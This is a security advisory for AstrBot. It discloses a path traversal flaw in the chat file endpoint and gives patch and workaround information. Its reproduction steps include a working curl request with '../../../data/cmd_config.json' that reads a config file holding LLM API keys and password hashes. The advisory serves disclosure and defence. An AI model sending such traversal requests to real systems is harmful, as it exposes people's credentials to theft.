PYSEC-2026-1196

### Impact

This vulnerability may lead to:

* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

### Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

1. Install dependencies and clone the repository:

```bash pip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py ```

2. Alternatively, deploy the program via pip:

```bash mkdir astrbot && cd astrbot uvx astrbot init uvx astrbot run ```

3. In another terminal, run the following command to exploit the vulnerability:

```bash curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json ```

This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

### Patches

The vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

### Workarounds Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
